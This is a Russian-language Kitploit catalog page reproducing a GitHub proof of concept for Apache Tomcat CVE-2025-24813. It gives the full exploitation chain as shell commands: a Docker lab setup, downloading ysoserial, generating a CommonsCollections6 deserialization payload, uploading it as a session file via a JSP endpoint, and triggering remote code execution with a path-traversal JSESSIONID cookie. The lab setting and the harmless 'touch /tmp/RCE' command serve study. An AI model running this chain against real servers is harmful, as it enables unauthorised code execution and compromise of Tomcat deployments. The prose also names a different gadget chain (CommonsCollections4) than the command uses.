Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
POC-CVE-2025-24813 — Доказательство концепции, демонстрирующее Apache Tomcat CVE-2025-24813, использующее небезопасный PUT-метод DefaultServlet и десериализацию сессий для достижения удалённого выполнения кода. | Kitploit
Инструменты/GitHubGitHub/arthurabriel/poc-cve-2025-24813
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеОбучение и ОбразованиеРазработка Полезной Нагрузки
GitHubarthurabriel/poc-cve-2025-24813

POC-CVE-2025-24813

Доказательство концепции, демонстрирующее Apache Tomcat CVE-2025-24813, использующее небезопасный PUT-метод DefaultServlet и десериализацию сессий для достижения удалённого выполнения кода.

Репозиторий
59 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2025-24813 – Демонстрационная среда (PoC)

Этот репозиторий содержит простое приложение, созданное для наблюдения за поведением CVE-2025-24813, недавней уязвимости в Apache Tomcat, связанной с использованием DefaultServlet с включённой записью (readonly=false), что позволяет выполнять небезопасные операции записи через HTTP PUT (с поддержкой partial PUT / Content-Range), которые могут привести к перезаписи критических файлов, включая файлы сессий — открывая возможность RCE при возникновении вредоносной десериализации.

Об этом PoC

Приложение использует:

КомпонентФункция
Tomcat 9 + JDK 11Уязвимый сервер, используемый в качестве цели
context.xmlВключает PersistentManager + FileStore для сохранения сессий на диск
upload.jspПростой эндпоинт, принимающий данные и сохраняющий их на диск
/tmp/app-data/Директория, в которую будут сохраняться загруженные файлы

Изначальная идея — понаблюдать, как Tomcat обрабатывает файлы в среде, настроенной для изучения CVE — начиная с безвредного запроса, который просто записывает файл контролируемым образом (без попытки эксплуатации), а затем — вредоносный файл.

Сборка и запуск

  1. Сборка Docker-образа
root@kitploit:~
docker build -t tomcat-cve-2025-24813 .
  1. Запуск контейнера
root@kitploit:~
docker run -d --name toy-cve -p 8080:8080 tomcat-cve-2025-24813

Мониторинг системных вызовов execve

В другом терминале выполните следующие команды.

root@kitploit:~
PID=$(docker inspect -f '{{.State.Pid}}' toy-cve)
sudo strace -f -p $PID -e trace=execve -s 200

Первоначальный тест (безвредный и безопасный запрос)

Отправим простой файл, чтобы понаблюдать за нормальным поведением.

Загрузка с отправкой строки

root@kitploit:~
echo "Normal File" > nota.txt

curl -X POST http://localhost:8080/upload.jsp \
  -H "X-Filename: nota.txt" \
  --data-binary "This is just a simple message."

Если всё корректно, в терминале с strace ничего не должно появиться.

Примечание: Если в strace появятся ошибки SIGSEGV, игнорируйте их. Это шум от JVM.

Эксплуатация уязвимости

  1. Загрузка YSoSerial Инструмент, используемый для генерации сериализованных Java-объектов с известными цепочками гаджетов.
root@kitploit:~
wget -O ysoserial-all.jar https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar
  1. Генерация вредоносного полезного груза в формате сессии

Здесь используется цепочка CommonsCollections4 для генерации объекта, который в уязвимом сценарии мог бы выполнить команду touch /tmp/RCE. Полезный груз будет сохранён как hack.session.

root@kitploit:~
java -jar ysoserial-all.jar CommonsCollections6 'touch /tmp/RCE' > hack.session

Если предыдущая команда выдала ошибку, то для обеспечения совместимости с современными версиями Java (9+) необходимо добавить флаг --add-opens, чтобы отключить строгую инкапсуляцию (JPMS), которая в противном случае блокировала бы рефлексию, используемую ysoserial.

root@kitploit:~
java --add-opens java.base/java.util=ALL-UNNAMED -jar ysoserial-all.jar CommonsCollections6 'touch /tmp/RCE' > hack.session

После выполнения этой команды у вас появится локальный бинарный файл:

root@kitploit:~
hack.session
  1. Загрузка полезного груза на сервер

Отправляем файл .session на JSP-эндпоинт, который записывает содержимое напрямую в директорию /tmp/app-data.

root@kitploit:~
curl -v -X POST \
     -H "X-Filename: hack.session" \
     --data-binary @hack.session \
     http://localhost:8080/upload.jsp

Ожидаемый вывод:

File saved successfully in: /tmp/app-data/hack.session

📌 В этот момент никакая команда не выполняется — произошла только запись файла на сервере.

  1. Использование внедрённой сессии

Теперь делаем запрос, отправляя cookie JSESSIONID=hack, пытаясь заставить Tomcat загрузить только что созданную сессию.

root@kitploit:~
 curl -v http://localhost:8080/index.jsp -H "Cookie: JSESSIONID=../../../../../../tmp/app-data/hack"

В терминале с strace должны появиться команды execve, создающие файл.

Чтобы увидеть, был ли создан файл, можно также зайти в контейнер и проверить:

root@kitploit:~
docker exec -it toy-cve ls -l /tmp/
Скачать инструмент